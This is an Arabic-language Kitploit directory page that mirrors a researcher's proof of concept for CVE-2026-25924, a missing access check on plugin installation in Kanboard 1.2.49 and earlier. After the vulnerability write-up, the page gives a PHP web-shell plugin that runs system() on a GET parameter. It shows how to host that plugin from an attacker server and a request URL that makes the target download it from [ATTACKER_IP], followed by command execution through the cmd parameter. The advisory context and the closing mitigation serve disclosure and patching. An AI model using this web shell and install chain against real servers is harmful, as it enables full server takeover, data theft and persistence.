Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25924 — إثبات مفهوم لاستغلال CVE-2026-25924، يوضح تنفيذ الأوامر عن بُعد على مستوى الإدارة في Kanboard من خلال غياب فحص التحكم في الوصول على تثبيت الإضافات. | Kitploit
أدوات/GitHubGitHub/drkim-dev/cve-2026-25924
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

إثبات مفهوم لاستغلال CVE-2026-25924، يوضح تنفيذ الأوامر عن بُعد على مستوى الإدارة في Kanboard من خلال غياب فحص التحكم في الوصول على تثبيت الإضافات.

عرض المستودع
22منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25924 PoC - تنفيذ أوامر عن بُعد كمسؤول في Kanboard

إثبات المفهوم لتنفيذ أوامر عن بُعد كمسؤول عبر تجاوز ضوابط الأمان

الإفصاح: تم الإبلاغ عنه بواسطتي عبر GHSA-grch-p7vf-vc4f

⚠️ للاستخدام المصرح به في الاختراق الأخلاقي والبحث فقط.

معلومات الثغرة

الحقلالقيمة
معرف CVECVE-2026-25924
الخطورة🔴 عالية
درجة CVSS8.4
متجه CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863: تفويض غير صحيح
المنتج المتأثرKanboard ≤ 1.2.49
الإصدار المُصحَّح1.2.50
النشرة الأمنيةGHSA-grch-p7vf-vc4f

CVE-2026-25924: غياب التحكم في الوصول لتثبيت الإضافات يؤدي إلى تنفيذ أوامر عن بُعد كمسؤول

1. الملخص

ثغرة تجاوز ضوابط الأمان في Kanboard v1.2.49 تسمح لمسؤول مُصادَق بتحقيق تنفيذ أوامر عن بُعد (RCE) كامل. على الرغم من أن التطبيق يخفي واجهة تثبيت الإضافات بشكل صحيح عند ضبط إعداد PLUGIN_INSTALLER على false، إلا أن نقطة النهاية الخلفية الأساسية تفشل في التحقق من هذا الإعداد الأمني. يمكن للمهاجم استغلال هذا الإغفال لإجبار الخادم على تنزيل وتثبيت إضافة خبيثة، مما يؤدي إلى تنفيذ أكواد عشوائية.

  • نوع الثغرة: CWE-863 (تفويض غير صحيح) / CWE-94 (حقن أكواد)
  • الخطورة: عالية (تنفيذ أوامر عن بُعد كمسؤول)
  • الإصدار المتأثر: Kanboard <= v1.2.49

2. التفاصيل

1
2

يستخدم Kanboard ثابتًا أمنيًا باسم PLUGIN_INSTALLER لتقييد القدرة على تثبيت الإضافات من عناوين URL البعيدة. يتم تعريفه في app/constants.php:

الملف: app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

يتحقق التطبيق بشكل صحيح من هذا الإعداد في طرق عرض واجهة المستخدم في PluginController، مثل show() و directory()، باستخدام Installer::isConfigured():

الملف: app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

ومع ذلك، فإن طريقة install() في نفس المتحكم تفشل في إجراء هذا التحقق. فهي تتحقق فقط من رمز CSRF قبل المتابعة لتنزيل وتثبيت إضافة من عنوان URL عشوائي مقدم في معامل archive_url.

الكود القابل للاستغلال في app/Controller/PluginController.php:

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

نظرًا لأن Installer::install() لا يتحقق أيضًا من ثابت PLUGIN_INSTALLER، يمكن للمسؤول تجاوز القيد المقصود ببساطة عن طريق الوصول المباشر إلى نقطة النهاية مع رمز CSRF صالح. بمجرد التثبيت، يتم تحميل الإضافة الخبيثة وتنفيذها تلقائيًا بواسطة Kanboard\Core\Plugin\Loader، مما يمنح المهاجم تنفيذ أوامر عن بُعد كامل.

3. إثبات المفهوم (PoC)

الخطوة 1: إنشاء إضافة خبيثة

أنشئ مجلدًا باسم Exploit يحتوي على ملف Plugin.php:

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

الخطوة 2: استضافة أرشيف الإضافة

اضغط المجلد واستضفه على خادم يتحكم به المهاجم:

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

الخطوة 3: تشغيل التثبيت

سجّل الدخول إلى Kanboard كمسؤول. احصل على csrf_token من مصدر الصفحة وانتقل إلى: http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

الخطوة 4: تنفيذ أوامر عن بُعد

استخدم معامل cmd لتنفيذ أوامر نظام عشوائية: http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. الأثر

تسمح هذه الثغرة للمسؤول بتجاوز القيود الأمنية المفروضة على المضيف. من خلال تحقيق تنفيذ أوامر عن بُعد، يمكن للمهاجم:

  • قراءة/كتابة ملفات عشوائية على الخادم (مثل /etc/passwd، config.php).
  • الوصول إلى قاعدة البيانات بأكملها وتفريغها.
  • التنقل داخل الشبكة الداخلية.
  • الحفاظ على وصول دائم عبر قشرة ويب أو قشرة عكسية.

5. التخفيف الموصى به

أضف تحققًا من Installer::isConfigured() في بداية طريقتي install() و update() في app/Controller/PluginController.php:

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
تنزيل الأداة